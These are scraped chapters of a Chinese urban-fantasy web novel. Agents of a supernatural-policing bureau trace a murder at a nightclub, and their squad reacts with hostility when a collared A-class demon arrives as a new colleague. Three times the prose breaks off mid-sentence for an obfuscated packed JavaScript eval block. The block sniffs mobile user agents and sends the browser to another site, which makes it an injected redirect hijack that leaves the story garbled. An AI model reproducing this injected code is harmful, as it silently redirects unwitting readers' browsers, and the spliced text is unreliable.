此刻他们正在爱丽舍一楼的监控室内,四周都是闪着光的监控大屏。周纬吩咐调取了案发现场外走廊的监控视频,正在查看受害人行踪——只有洛小莉在看,周纬这牲口坐在人家监控操作台上,两条长腿悬空离地,正晃晃悠悠地吃一个不知道从哪儿弄来的果盘。 旁边站着个挺胸叠肚的中年男人,额头上的汗都快流成小溪了——正是爱丽舍的经理。 “那个,周警官,”他苍蝇般搓着手,陪着笑脸,脸上的肥肉把眼睛挤得只剩下了一条缝:“我们会所发生这种恶性案件,真的是倒霉透了,老板今天一早十个八个电话打过来,要求我们一定全力配合警方破案。就是……那个,配合调查也不一定要停业吧?本来出了这事儿对我们来说就是个打击,以后能不能有顾客再来还两说呢……您看您能不能给个准话,什么时候才能把封锁线撤了?” 周纬点了点头,用牙签戳起一颗葡萄脸皮扔进嘴里,嚼了嚼囫囵个儿咽了:“唔。” 经理差点当场绝倒。 行就行不行就不行,你来个“唔”又是几个意思! 异监局出外勤一般两套证件,必要的时候亮异监局的监察员证,需要掩人耳目的时候则亮公安局的警察证,这样跟不知内情的呢解释起来也少费些口舌。两套证件都是真的,毕竟异监局和警察同属公安系统,同穿一条裤子,异监局拿警察身份打掩护是老传统了。 朱文洋作为爱丽舍经理,来找周纬这个案件负责人求情本来没什么问题,可惜周纬软硬不吃,从头到尾就开口跟他要了个果盘,之后连眼神都没甩给他一个。 却又扣着不让他走,不知道是什么意思。 朱文洋的心里越发忐忑起来。 就在这时,洛小丽那里传来一声:“找到了。” 周纬总算来了兴致,挪动贵臀从操作台上跳了下来,凑到屏幕近前。洛小莉把屏幕转向他一点,点开了视频。 视频上放的正是那红发受害者——富二代马宏昇——从迪厅侧门出来,拐进走廊时的一幕。他身旁还有个穿白色长袍的迪厅服务员,脸上戴着个金色假面,八厘米高跟鞋走得踉踉跄跄。马宏昇跟在她后面,时不时从背后推搡她一把。那服务员的双手背在背后,在长袍遮掩下若隐若现,像是被什么东西捆缚着。而马宏昇则一只手提着裤子,看样子那东西正是他的腰带。 看到这一幕,洛小莉脸上立刻露出愤怒和嫌恶的表情来,而周纬则似笑非笑地看向了朱文洋。 朱经理汗如雨下。 “快进。” 洛小莉点开倍速,马宏昇和服务员的身影走进包厢门。片刻之后,包厢门再次打开,那女服务员走了出来,马宏昇却没跟着。 “进门的时候是凌晨三点二十一,出来是三点三十八,他们在里面待了十七分钟,杀一个人绰绰有余了。”洛小莉抬头看向周纬:“不过嫌疑人找到了,却是这幅打扮,对咱们破案可没什么帮助。” 爱丽舍头天晚上是“酒神节”,所有的服务员都是一副长袍蔽体脸罩面具的打扮,不熟悉的根本看不出来谁是谁。洛小莉抱起双臂,眼神里带了点幸灾乐祸,看着周纬的目光颇有点“这下我看你怎么办”的意思。 却没想到周纬眼中突然浮上了一点兴味,挠了挠下巴:“有意思。” 他双手衬衫袖子挽到了手肘,左手上戴着他那块贵价机械表,右手腕间却缠着一串佛珠样式的细长珠子,非金非木非玉,看不出是什么材质,黑沉沉地绕在腕间,衬得他的手腕越发白皙伶仃。他一扣下巴,那黑珠子的流苏就跟着晃荡两声——这似乎是他思考时的习惯性动作。 周纬突然看向朱文洋:“包厢里的监控呢?” 朱文洋咽了口唾沫:“会所的包厢里没安监控,为了……那个,呃,保护客人隐私。” 然而就见周纬突然笑了:“朱经理,你蒙我呢?” “你们这是迪厅包厢,不是酒店也不是按摩房,保护的哪门子隐私?”他挑起一边眉毛:“怎么,贵店顾客唱个K,还要脱衣服吗?” “这这这……这是怎么话说的……”朱文洋汗出如浆。 其实包厢里到底是不是唱K大家心知肚明——爱丽舍这种会员制会所,生客入会都要熟人介绍,主打的就是一个隐私和安全。大门一关,KTV一放,里面发生什么谁都不会知道。马宏昇作为这里的常客,会堂而皇之地用腰带扭着服务员胳膊进包厢就是最好的证据——这里面铁定不干净。 然而爱丽舍就是靠着这种“不干净”开门揽客的。为了让顾客放心大胆地在这里“娱乐”,包厢里确实没装监控。 至少明面上没有。 然而…… “我这个人呢,比较务实,交到我手上的是什么案子,我就查什么案子。”周纬对着朱文洋展颜一笑,几乎笑出他一身鸡皮疙瘩来:“朱经理可要想清楚了,今天我们是为了查杀人案来的,拿到了需要的线索自然收队,无关的我们也懒得操这份闲心。但要是迟迟找不到线索,大动干戈起来,难免拔出萝卜带出泥。到时候要是一不小心查到点别的什么东西,贵店恐怕就不只是‘倒霉’那么简单了。” 言下之意——我知道你不干净,要是乖乖配合交出线索,我们也就点到为止;但如果不识相,我们也不介意现场给你来一次扫黄打非。 朱文洋面色一动,挤成细缝的眼中挣扎之色几度闪烁。 周纬一眼扫过就知道他那个厚脑壳在想些什么,微微一笑,不动声色地给他加了个码:“朱经理难道以为,那间包厢四面都被藤蔓包裹起来了,墙里的东西就能藏得住吗?” 朱文洋这回真正是倒吸一口凉气,望向周纬的目光里骤然满是惊惧。 “周警官!我我我……我立刻找人去拿监控来!”朱文洋一咬牙:“只是包厢内的监控是个‘黑盒’,提取需要一定时间,请周警官稍等,我一弄好立刻送来!” 说罢,这胖子转身拔步,竟然颇为灵活地一溜烟小跑走了,就是那身肥肉颤巍巍的,看得人颇为眼疼。 洛小莉站在一旁,一头雾水地看着周纬跟这朱经理打哑谜,没看出个所以然来,等一人走立马就忍不住了:“什么意思?你怎么知道那个包厢里一定有监控?还有‘黑盒’是什么?” 周纬转身,笑眯眯地看着她:“想知道啊?” 洛小莉犹豫了一下,觉得这承认了也没什么可丢人的,于是点了点头。 周纬脸上笑容不改:“那求我啊。” 洛小莉:“……” 世界上怎么会有这么贱的人! 灵力者觉醒之后,脾气性格有时会受自身属性的一点影响,比如冰系多性格冷冽,水系则包容温和,而其中最为脾气作为火爆的就是雷火两系,那基本上就是人形炮仗,一点就炸。 好在初出茅庐的小炮仗洛小莉同志还存了几分“不能公然殴打上司”的理智,只是漠然转身回头,心里默默敬奉了一句:“请你去死。” 周纬这种半天不犯贱就浑身难受的狗脾气也不知道是怎么养成的,别人好好跟他说话,他嘴里一句正经话没有,非得等别人生气了,他才又巴巴地贴上来,嬉皮笑脸道:“爱丽舍这种性质的会所,十个有八个都不干净,为了照顾客人的面子,包厢里明面上不会安监控。但是客人的面子有了,爱丽舍自己的里子也不能掉,来这里消费的客人非富即贵,不说发生凶杀、贩毒这样的恶性案件,就算来个仙人跳,往往也会牵扯不小。所以这种高端会所一般都会留一手,必要的时候能把自己摘出去,不至于得罪不该得罪的人。” 洛小莉果然是个脾气耿直的,听周纬这么一解释,已经忘了自己刚才还在生气,恍然道:“所以你才笃定包厢里一定有隐藏式摄像头,就藏在四面墙里。” “对头。”周纬颔首道:“不过这只是爱丽舍给自己留的退路,轻易不会拿出来。所谓‘黑盒’就是这么个东西,所有监控视频不走正常储存线路,而是自动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周纬的目光落在屏幕中央,那个一手一个钳住了对峙双方的黑衣男子身上。 这监控的位置非常讨巧,正对着卡座区,两方人马都清晰地暴露在镜头里,唯独那个黑衣男子的身体是背对着摄像头的。视频中只能看到他一身黑衣身形高大,鹤立鸡群戳在一群花花绿绿的人堆里,像块不合时宜的墓碑——却看不见脸。 周纬突然伸手按了下空格键,视频进度条继续向前滚动。 “还要看吗?下面好像没有了……”洛小莉不解的话说到一半,突然噤了声。 只见对峙的双方人马撤开后,马宏昇一方很快离开,而那黑衣男子带着另外一人也作势要走——刚要迈步却似有所感,突然回头看了监控摄像头一眼。 仿佛隔空对视一般,他的脸出现在屏幕里,纤毫毕现。 周纬“啪”地一声按下了暂停键。 “截取这段视频发给老何,让他开启‘烛照’,全城搜索这个人,立刻。”周纬道。 洛小莉吓了一跳,这一早上,她头一次听见周纬的声音这么严肃:“为、为什么?” “我认识这个人。”周纬脸上的笑容敛去了,他面色阴沉地盯着监控里那张熟悉的脸:“他不该出现在这里。” 与此同时,珑湖市异监局总部大门口,值班的门卫小哥刚从食堂拎了两盒包子和一杯豆浆回来,老远就看见电动栅栏门外站了个人。 “你找谁呀?”来人是个黑衣高个儿男子,看着眼生。小哥放下包子和豆浆转出来,隔着电动栅栏门道:“还没到上班时间呢,人都还没来,你来早了。” “没关系。”那人远看着压迫感挺强,离近了才发现五官眉眼居然都长得不错,语气也是温和有礼的:“我第一天来上班,特意来早一点。” “你来上班?”门卫小哥愣了一下,这才反应过来,恍然道:“哦,你是调职过来的?调令有吗?我得看一下调令才能放你进来。” “在这里。”那人从风衣内袋里掏出一份文件递了过来。 门卫小哥在衣服上蹭了蹭双手,接过那份文件,认真地确认了一下上面的内容和盖章。 他的双手不自觉地颤抖起来,然后逐渐扩散到全身,整个人抖得如风中残烛,急剧扩张的瞳孔中清晰地倒映出了调令里那刺眼的两行字。 “姓名:李默。种族:妖类。” “等级:A级。” 5. 冲突 何昭华,男,三十六岁,珑湖市异监局监察执法总队副队长兼行动二组组长。 ……此时此刻全世界最想让周纬去死的人。 体制内的单位通常都有一个通病:如果同一个部门当中,有某个人特别吃苦耐劳且能干,那这个人就会有越来越多的活要干,源源不绝无休无止,最终沦为整个部门的牛马——而相对的,其他人就会越来越闲。 何昭华就是这样一个牛马冤大头。 因为周纬这个正职队长过于自由散漫不靠谱,且想一出是一出,就导致何昭华这个副队不得不操无数多余的心——操心队内事务,操心接到的各种案子,操心队长操心到的和没操心到的……有时候还得操心队长本人。 就比如说现在。 “何副!爱丽舍杀人案受害者的资料从市公安局传过来了,请您签字接收一下!” “何副!这是昨晚案发时间段爱丽舍周围的异常能量分布,麻烦您过来看一眼!” “何副!信息科那边已经把后续舆情处理方案拿出来了,让您给个意见!” “何副!案发现场的妖力残迹采集样本已经送回来了!但是检验科还没上班……” 何昭华一早上被各种此起彼伏荒腔走板的“何副”撞得脑浆乱晃,闻言终于大怒:“检验科没上班找我干什么!我是检验科科长吗?!打电话给他们负责人!” “啊……”刚刚说话的那个监察员缩了一下脑袋,弱弱地开口:“但是送样本回来的时候周队说,要是检验科没人就找何副,原话是‘指望孙科从城南开车赶过来黄花菜都凉了,还不如扔给老何让他想办法呢’……” 何昭华:“……” “让老何想办法”是个什么万试万灵的咒语吗?!姓周的找茬是不是! 他运气再运气,终于爆发出一股怒吼:“去值班室拿钥匙开检验科的门,把样本送去备检室!打电话让住在安创花园的小邹十分钟内滚过来做检前准备,来不了就滚去扫一个星期的厕所!” 送样本的监察员激灵灵打了个寒颤,生怕自己慢了一步也被副队发配去扫厕所,赶紧麻溜滚蛋了。 姓周的永远有把人气到七窍生烟的本事,哪怕他人不在眼前,威力也恐怖如斯。 现在还不到早上八点,除了这些有案则出的外勤干员们,大半个异监局还没上班,周纬出现场的时候又带走了行动一组,留守的人手就越发捉襟见肘。何昭华一脑门官司,脖子上的青筋还没下去,就听见身后又来了个监察员:“何副,周队那边又来消息了,说让您开烛照,查个人。” 何昭华一愣,这回不吼了,转身诧异道:“开烛照?” “烛照”系统是前几年才开始在异监局内推行的一套监测系统,原理非常简单,就是将异监局原本在使用的灵力监测装置与遍布全国的电子眼系统相融合,在每个公共监控摄像头上都加装灵力监测设备,使其具备监测识别和追踪灵力与妖力的作用。这样一来,公安系统无孔不入的“天网”就可以为异监局所用,普通人类、灵力者和妖类都将暴露于现代科技的煌煌天光之下。 “烛照”——取自古代神话传说中“太阳烛照”,意为光照万物,阴邪无处遁身。 所以这是要查谁? 说话间身边的那个监察员已经将周纬传过来的照片打印了出来,递给何昭华,只见照片上是一个眉目深邃的年轻男子,模样看着有些严肃。何昭华接过来扫了一眼,第一反应是——有点儿眼熟。 然而还没等他想起来这是谁,身边又来一通电话。一个监察员接起来应了两句,抬头道:“何副,门卫小刘找您。” 何昭华还在想照片上的人究竟是谁,顺手接过座机,还没开口,就听那边突然传来一声凄厉的嘶嚎:“何副!门口来了个妖类,A级!!!” 何昭华的瞳孔遽然紧缩。 下意识地,他转头朝异监局大门看去。透过三楼监察大厅巨大的落地玻璃窗,灵力者的强化视觉让他一眼就看到了大门前那个黑衣男子。 居然正是周纬要查的那个人! 这是打上门来了吗?! 何昭华还没来想清楚一个A级妖类为什么会堂而皇之地出现在在异监局大门口,身体已经先一步做出了反应,浑身汗毛倒竖,厉喝一声:“警备!” 话音未落,他已经箭步冲出,飞身直接朝落地窗撞了过去! “哗啦”一声巨响,三楼巨大的落地窗轰然破碎,无数玻璃闪着碎光从十几米高度纷然而降,中间夹着一个鲜明的人形。 何昭华人在半空,右手一抬,哗然凝结出一柄一人多高的水色长枪,凌空一挥荡开无数玻璃碎片,大吼道:“小刘闪开!” 黑衣男子一抬头,门卫小刘抱头鼠窜。 何昭华从三楼飞身落地,连个磕绊都没打,脚下骤然涌出一股汹涌水流,宛如怒浪巨涛一般推着他的身体前进,眨眼间已到近前,二话不说一抢刺出! 李默:“?” 他当然不会干在原地等着被枪捅,脚尖一点疾速后退,何昭华的枪势一往无前如怒海狂澜,一击不中,轰然一声在地上炸出一个巨坑,水柱冲天而起! 然而那来势汹汹的攻击没能沾湿李默一片衣角,他也不见如何用力,却一退退出十多米,远远地离开了何昭华的攻击范围,直起腰来皱眉道:“等等,我是……” 何昭华一声怒吼:“别跑!” 李默:“……” 他真的没想跑。 此时此刻,异监局大楼内已经拉响了警报,尖利刺耳的警报声响彻长空,所有在岗外勤监察员全部出动,迅速将李默团团围了起来。 按理来说,正常人拿着调令客客气气地到新单位,话还没说上两句就先被未来同事们围攻,懵逼之余怎么也该有点火气。然而李默直到现在,面上还是一片平静。不光平静,他甚至还停住了脚步,果然没再跑了。 与此同时,门卫小刘终于反应了过来,跌跌撞撞跑过来,扒拉开人群就要往包围圈里挤:“等等,何副,他是——噫!” “是”字尾音还没出来,就跟坐了蹿天猴一样倏然变了调子——何昭华的攻势又到了! 这次李默还没躲! 他当当正正地立在原地,不仅不闪不逃,反而做了一个奇怪的动作——伸手似乎要去扯自己的领子。 就这样直直地迎上了何昭华的枪锋! 眼看就要见血,小刘“嗷”的一嗓子终于喊了出来:“他是新来的监察员!” 何昭华脸色骤变。然而此时再收势已经来不及了,千钧一发之际,何昭华大吼一声,从肩膀到手背整条胳膊青筋暴起,硬生生偏移了枪势,凌厉枪芒挟裹着千钧力道从李默脸颊处差之毫厘地擦了过去,轰然在背后炸响! 一声巨响,在场所有人脚下一震,李默背后激起漫天水花,炸成了一片铺天盖地的浩渺水雾。 何昭华的枪锋就停在李默的咽喉处。 两人在昭昭雾气中对峙。 全场一片死寂。 片刻后,终于还是李默率先打破了寂静。 他终于将自己的那件高领毛衣的领子全部拉了下来。水雾散去,所有人都看到了他脖颈上戴着的,那与何昭华的枪尖只差寸许距离的东西。 那是一道黑色的枷锁,颜色沉如黯渊,哪怕在阳光下也不反射任何光芒,牢牢地束缚在他的脖颈要害之上。 黑枷一侧刻了一道浅浅的银色铭文,“NO.A-1307 LIMO”。 以妖类之身入异监局,不会配发监察员证。这道镇压他们妖力、监控他们行踪的灵枷,就是他们监察员身份的唯一证明。 他就维持着这样一个拉开脖颈、暴露出灵枷的姿势,轻轻对全场鸦雀无声的监察员们点头致意。 “初次见面,我是A-1307号监察员,李默。” 他抬头,望向四方尚未散去的凛然杀机,平静道:“……很高兴和大家共事。” 二十分钟后,异监局大楼四楼会议室。 “哈哈哈哈哈哈……” 周纬坐在会议桌上,双脚悬空,躬身捂着肚子。他在从爱丽舍回来的路上就听说了这件事,差点没把车顶笑裂,回来见到了何昭华更是大笑特笑,大有要就着这个笑话过完下半辈子的意思。 何昭华面色黑如锅底。 “再说一遍我没有打他好吗?我连碰都没碰到他!”何昭华怒道:“再说还不是你让我开烛照查人,我怎么会想到你要查的人刚巧就出现在市局门口——别笑了!” “哎呦……我不行了。”周纬终于起身来,擦掉眼角笑出来的眼泪:“我只是让你找人,没让你抓人啊!整个异监局系统,妖类监察员满打满算不过两手之数,入职的时候身份资料通过内网下发全局,我怎么能想到你居然没认出来?” “你也说了一共不到十个人!”何昭华更气了:“你让我开烛照查一个眼熟的妖类,你猜我第一时间想到的是总部来的监察员还是通缉榜上的通缉犯?!” “那也不能二话不说上来就打人啊……” “他是A级!A级!”何昭华怒吼道:“我不先发制人,等着他出手把市局炸上天吗?!” 此话一出,周纬骤然不笑了。 何昭华也猛然意识到自己失言,脸上怒色一僵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091597|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 默然片刻,何昭华扭过头去,伸手在脸上狠狠抹了一把:“……抱歉。” “没事,老何。”周纬从会议桌上跳了下来,拍拍他的肩膀:“就算是监察员,身为妖类每到一地都需要第一时间向当地异监局报备。这个李默什么时候来的珑湖我们都不知道,不能现在就说他没问题。而且如果今天来的真的是个心怀不轨的妖类,你这一次还不知道要救多少人。” 何昭华掩面不语。 “而且……”周纬一只手搭在他肩膀上,面色难得有些阴沉:“总部一声招呼不打就给我们派来一个妖类,这事儿他们得给个说法。” “总部的说法已经来了。” 周纬话音刚落,会议室的门就被打开了,从外面进来了两个人。 其中一个面膛紫红,走路虎虎生风,看年龄已过天命,却仍然身姿挺拔腰背笔直,浑身的军人气质,乃是珑湖市异监局副局长赵昌誉。 而另外一人一身简单的衬衣和行政夹克,身材略矮,鼻梁上架着副方框眼镜,竟然看不出多大年纪,只觉得气质沉稳深邃,让人一见就心生敬意。 正是珑湖市异监局局长,徐培风。 珑湖市局一正一副两位最高职务领导,全部驾到。 这回,连周纬也不得不收敛了一些嘻嘻哈哈的脾气,作出一副正经严肃的样子来。何昭华也深吸一口气,调整好情绪面对两位局长。 “我刚给总部去了个电话。” 徐培风一进来,半句废话也没有,上来就直奔正题:“总部那边说,李默的调职确实是经过总部人事科审批过了的,程序正当,手续齐全,让我们按流程予以接收。” “凭什么?” 此言一出,何昭华先忍不住了:“妖类监察员归总部管辖,从来没有过下放到地方分局的先例!而且要调职来珑湖,为什么连招呼都不跟我们打一声?咱们谁都不知道他要来!” “提前跟你打招呼,你还会要他吗?”旁边的赵昌誉凉凉地瞥了何昭华一眼。 何昭华话音一滞。 “就是这个道理。”徐培风轻叹一声:“妖类监察员在整个系统的位置一直很尴尬,许多同志对妖类都怀有偏见,认为他们非我族类,是我们的敌人、斗争对象……所以历来妖类监察员都由总部统一管理,因为知道地方分局的一线监察员们大多都不待见他们。我不知道总部为什么单单对这个李默开了先河,但没跟我们打招呼就走完了全套流程,应该就是不想给我们反对的机会。” 何昭华恨恨地一锤桌子:“这叫什么事!” “我想问下……” 就在这时,周纬忽然慢悠悠地开了口:“总部对他有没有什么处理意见?” “嗯?” 赵昌誉和何昭华像是都没有听懂这句话是什么意思,徐培风却点了点头,眼中流露出一丝赞赏。 “没有。”徐培风道:“调令上只写着‘请考察后分配相应工作岗位’,打电话去问也只说‘酌情处理’。也就是说,他来了珑湖之后具体干外勤内勤、哪个岗位、用不用他,都由我们自己决定——只要我们接收了他就行。” 周纬一皱眉:“这听起来怎么像是总局不知道该拿他怎么办,所以干脆甩锅给我们了?” “我觉得很有这个可能。” 徐培风道:“这个人来得蹊跷,所以我又找了几个雍京的老战友,辗转打听了一下,还真打听出了一些线索。” 周纬和何昭华都做出洗耳恭听的姿势。 “问题出在引荐李默进入异监局的人身上。”徐培风道:“你们知道,每个想成为监察员的妖类,都会经历三年‘考察期’,对其品行、能力、忠诚度等进行全方位考察。考察期间设定一名‘第一责任人’,对他的一切行为负责,如果妖类在考察期间出现违法违规行为,第一责任人承受连带责任……严重者可能会被逐出异监局,失去监察员身份。” 周纬和何昭华都点头——这也是妖类监察员那么稀少的原因之一,没有人会想把自己的前途和命运绑定在一个不可控的妖物身上。 “这个李默已经是正式的监察员了,说明他已经度过了三年考察期。”徐培风环视众人,缓缓道:“你们猜他的第一责任人是谁?” “是谁?”周纬和何昭华异口同声。 “是当年的十大监察官之一,严瑾。”徐培风沉声道:“建国以来发现的最强精神系灵力者,以三十一岁之龄打破最年轻监察官年龄记录,建功无数,却在一次任务中因指挥失误造成重大伤亡,最终因疑似精神崩溃而在南海海域自杀身亡的监察官——” “‘烬玉’,严瑾。” 6. 哗然 目前的异监局系统,内勤外勤加起来,全国的监察员满打满算不过数万人。相较于异常庞大的人口基数,这已经是个凤毛麟角的数字了。然而哪怕在这凤毛麟角的数万人之中,能够以强绝战力、辉煌功绩登临顶峰,被授予“监察官”之职的,也不过区区十人,还常常不是满员。 所谓“大监察官”,前面那个“大”字是监察员们自发加上去的,作为对人类巅峰战力的敬称。 天下之大,妖类之多,何其莫测。通天彻地者有之,阴险诡谲者有之,但迄今为止,却从未有任何妖类能在人类社会兴风作浪、翻云覆雨,芸芸众生即便弱小如蝼蚁,却也能依然无知而自得其乐地活着。 这些大监察官,就像镇在妖类头上的一座座顶天立地的山岳,铸成一道巍然浩瀚的屏障,撑起了万家安乐的朗朗晴空。 那样坚实而不可撼动,几乎让人忘记了—— 即便是巍然山岳,也有崩塌倾颓的一天。 “严瑾大监察官真的是自杀么?”周纬突然道。 其余三人顿时被他这一句吓了一跳,赵昌誉立马喝止道:“胡说八道什么!” “我问问而已。”周纬道耸了耸肩,不以为意道:“别跟我说只有我一个人有这种疑问。严瑾大监察官是异监局成立以来发现的最强精神系灵力者,但既然是‘最强’,最后却因‘精神崩溃’而疯癫自杀?不觉得有点匪夷所思么?” “别乱说话,严瑾大监察官的死因是总部经过严密调查后得出的结论。”徐培风瞥了他一眼:“精神系是灵力者所有类别中最稀少的几类之一,且神秘诡谲,非精神属性的人很难了解其中奥秘。而且精神系专供人脑域识海,虽然强大但也确实危险,历史上的精神系灵力者以疯癫结局的不在少数,严瑾大监察官虽强,却不一定没有这个风险。” 周纬笑了笑,明显没有被这套说辞说服,但也没有再继续争辩。 “不管严瑾大监察官的死因有没有什么内情,这都不是我们该关注的事。”徐培风轻咳一声,将话题拉了回来:“我们现在应该关注的是李默的问题。” 他环视全场,缓缓道:“我打听到,严瑾大监察官死亡的时间,刚好是李默三年考察期满的第二个月。他的死亡并没有影响李默按期转正,但也确实造成了李默转正之后无处可去的状况。” 他这么一说,大家都明白了。 按理来说,李默这种情况,应该算是严瑾的嫡系。严瑾要是不死,李默转正之后自然会加入他的麾下。有堂堂大监察官照拂,李默哪怕是个妖类,在总部的日子过得也不会太糟糕。 可偏偏严瑾死了,还死在这么个不尴不尬的时间点上。 “监察员”再怎么说也是份带编的工作,铁饭碗摆在那里不是开玩笑的,李默已经转正,总部也不好无缘无故开除他。但是三年考察,他身上已经深深打上了“严瑾的人”这个烙印,别的部门也不会想要接收他。 若他是个普普通通的人类监察员,别人可能还会出于惜才之心捞他一把,毕竟能入大监察官之法眼的想必也不是什么无能之辈——但他偏偏又是个妖类。 弄个妖类回来在自己眼皮子底下放着,干什么?添堵吗? 就这样,李默半是偶然半是命定地,在总局成了个“姥姥不疼,舅舅不爱”的边缘人。 难怪总部迫不及待地要把他打包扔出来。 “但是有个问题。”周纬突然又开口。 他这人胆大包天,丝毫不把总部放在眼里,一开口其余三人都有点胆战心惊,生怕他又说出什么惊世骇俗的话来。不过周纬这次倒是没有再作妖。 他迎着三人的目光,提出疑问:“严瑾大监察官死亡都已经是三年多以前的事了,总部要是想处理这个李默,为什么早不想办法?为什么要拖了这么久才把他发配出来?而且为什么偏偏要扔到咱们珑湖来?” “这没人能知道,毕竟雍京太远,我们鞭长莫及。”徐培风冷静道:“或者直接去问李默,如果他愿意交代的话。” “停停停。”何昭华赶忙插话,看看这个又看看那个,难以置信道:“我们不是真的要留下这个李默吧?就算戴着灵枷,他也是个妖类啊!还是个A级!A级!底下的人会怎么想?兄弟们会怎么想?我们现在应该讨论的不是怎么想办法把这人尽快踢回总部吗?” 无人答话。周纬心里暗叹一声,心知这事儿够呛。 如果总部能把李默收回去,那一开始就干脆不会开这个妖类监察员下放地方分局的先例,更别说还用了这种“先斩后奏”一样的手段——对于堂堂异监局总部来说,委实有点不体面了。 然而豁出去不体面都要促成,可见其决心。 所以这个李默到底是怀着怎样的目的来到珑湖的? 他的背后,真的没有什么隐形推手,在推波助澜吗? 周纬想了半天,突然发现自己居然无从推断。 ……因为他对于李默这个人,几乎一无所知。 就在几个人各自发愁为难的时候,只听“咚咚咚”三声,会议室的门突然被敲响了。 徐培风一声“进来”,门被推开,探进来一颗马尾脑袋——来人居然是洛小莉。 小实习生也不知道是被哪个缺德的前辈推上来的,环顾了一圈房间里的四个领导——还有两个顶顶头的大领导——斗大的心里终于升起了一丝紧张和敬畏,咽了口胆怯的唾沫:“局长,队长……下面好像有点情况,你们要不下来看看?” 异监局三楼一整层都是所谓的“监察大厅”,不设单独的办公室,而是隔开了一个个工位,是外勤干员们不出任务时办公的地方。大厅两边是通往四楼的铁质楼梯,一侧是几扇落地大玻璃窗,采光视野相当良好,旁边还有几棵巨大的龟背竹,郁郁葱葱绿意盎然,办公环境可谓赏心悦目。 然而此刻,一面窗户破了个大洞,碎玻璃碴满地都是,却无人打扫修补,任凭那破洞往里飕飕灌着早春干冷的风。 周纬从楼梯口走下来,就见整个大厅里站满了人。所有人都挤在窄小的过道上,横平竖直的,像一堵堵愤怒但沉默的墙。 所有人都抬头仰面看着他。 周纬站在楼梯上往下扫了一眼,脸上波澜不惊:“都站在这儿干什么?案子查完了?” 所有人都不说话,直到当先一人排众而出,仰头道:“周队,我们想问问,局里面对那个自称是监察员的畜生,到底是个什么态度。” 周纬瞥了他一眼。那人身材壮实,肩背宽阔,早春三月的室内也只穿了一件黑色背心,提着一头板寸,端的是个精悍干练的模样。只是一道大面积的烫伤伤疤覆盖了他大半个胸膛和一整条左臂,看着有些骇人。 行动一组的组长,燕鹏飞。 周纬没答他这句话,反而看了看众人,反问道:“哦?那你们又是什么态度?” “叫他哪来的滚回哪里去!” 他这一句话仿佛冷水入了热油锅,顿时激起了一片暴怒的沸腾。人群中不知谁叫了一句,众人顿时就跟被点着了一样,压抑已久的怒气霎时爆了出来。 “一个妖类凭什么当监察员!总部的人脑子让狗啃了吗?!” “为什么要把他调到珑湖来!让他滚回去!” “我们这里不是猪栏狗舍,容不下畜生!” 周纬居高临下,冷眼看着大厅里的人群情激奋,一句话都不答。直到下面的人愤怒够了,声音渐渐平息下来,众人的视线又回到他身上,他才终于开了口:“说完了吗?” 众人:“……” 人群脸上余怒未消,却没人敢再说话了。 周纬目光掠过大厅,沉甸甸地压在人群头顶上,随即抬脚下楼:“可以啊,正事不干,案子不查,在这里跟菜市场似的闹。我们珑湖市局真是越发有出息了。” 他说一句就下一个台阶,双手始终插在裤兜里,鞋跟落在铁质台阶上的声音回响在寂静的大厅里,像是狠狠敲在每一个人的心上。随即他走下最后一个台阶,“咣”的一脚踢开一把挡路的椅子:“我看你们他妈是都忘了‘组织纪律’四个字怎么写了。” 他平时总是一副懒懒散散的样子,身上颇带点纨绔气,似乎谁都能跟他拉关系攀交情,嘻嘻哈哈的不成体统;可当他收起笑脸,黑沉的眼睛扫视全场,那点儿纨绔气似乎都变成了浑身的冰刺,冷得摄人。 满大厅的人鸦雀无声。 “周队,不是我们无组织无纪律,只是……”半晌,还是燕鹏飞站了出来:“局里真的要留下那个畜生?” 他站在周纬面前,黝黑铁塔似的一个汉子,此刻双拳紧握,眼圈竟隐隐有些发红。 “周队,咱们这支队伍是你拉起来的,要兄弟们跟着上刀山下火海,咱们都没二话。”身侧一个监察员跨出一步,悲愤道:“可是咱们这些人,哪个没跟妖类生死拼杀过?哪个身上没有妖类留下的伤疤?这么些年这工位上的人换了一批又一批,都是拜谁所赐?现在居然要一个妖类畜生来坐他们的位子?” “总部那些大人物是怎么想的我不知道,我只知道妖类是敌人,不是战友。”另一人抬起头来,咬牙道:“谁敢跟妖类一起出任务?谁敢把自己的后背交给他?把他放进队伍里,跟老鼠进了米缸有什么两样?谁能保证他哪一天不会突然发疯,从背后咬我们一口?” “我徒弟就是死在妖类手上。”一个声音从后面传来,众人都纷纷侧身将他让了出来,那是个四十多岁的中年人,头发却已经花白如枯草,颤抖道:“巴掌大的那么一只腹虫,就一下,要了他的命……他才二十四岁,入队不到两个月,在我怀里咽了气……我到现在路过他们家那条街都得绕道走,怕对上他妈妈那双眼睛……周队,我们现在要是收了这个畜生,对得起谁啊?!” 说到最后,那男人已经再也憋不住,泣不成声。 “而且他还是个A级……A级……”人群中有个颤抖的哭腔传了出来:“四年前的那起案子,我们死了多少人啊……” “周队,你是不是……已经忘了秦队了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091598|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 